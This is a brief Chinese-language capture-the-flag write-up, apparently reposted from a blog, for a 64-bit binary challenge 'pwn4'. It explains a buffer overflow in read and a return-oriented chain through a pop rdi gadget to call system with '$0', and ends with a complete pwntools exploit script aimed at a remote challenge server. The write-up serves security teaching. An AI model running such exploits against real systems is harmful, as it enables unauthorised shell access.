pwn-pwn4

依旧是先检查文件的类型和保护  64位没有保护

 用IDA看看,read存在溢出,溢出0x18(不懂可以翻阅前面的博客)

函数system可以调用指令

 

shift+F12看看

$0在Linux中是shell的名称

那么我们可以利用system函数调用$0来getshell,因为是64位,需要用rdi寄存器来给system传值

 现在找一下rdi的地址和$0的地址

 现在还需要system的地址

 现在就可以编写exp

from pwn import *
r=remote('114.116.54.89',10004)

rdi_add=0x4007D3
shell_add=0x60111F
sys_add=0x40075A

payload='a'*0x18+p64(rdi_add)+p64(shell_add)+p64(sys_add)
r.sendline(payload)
r.interactive()                 


          

猜你喜欢

转载自www.cnblogs.com/gaonuoqi/p/11646005.html
pwn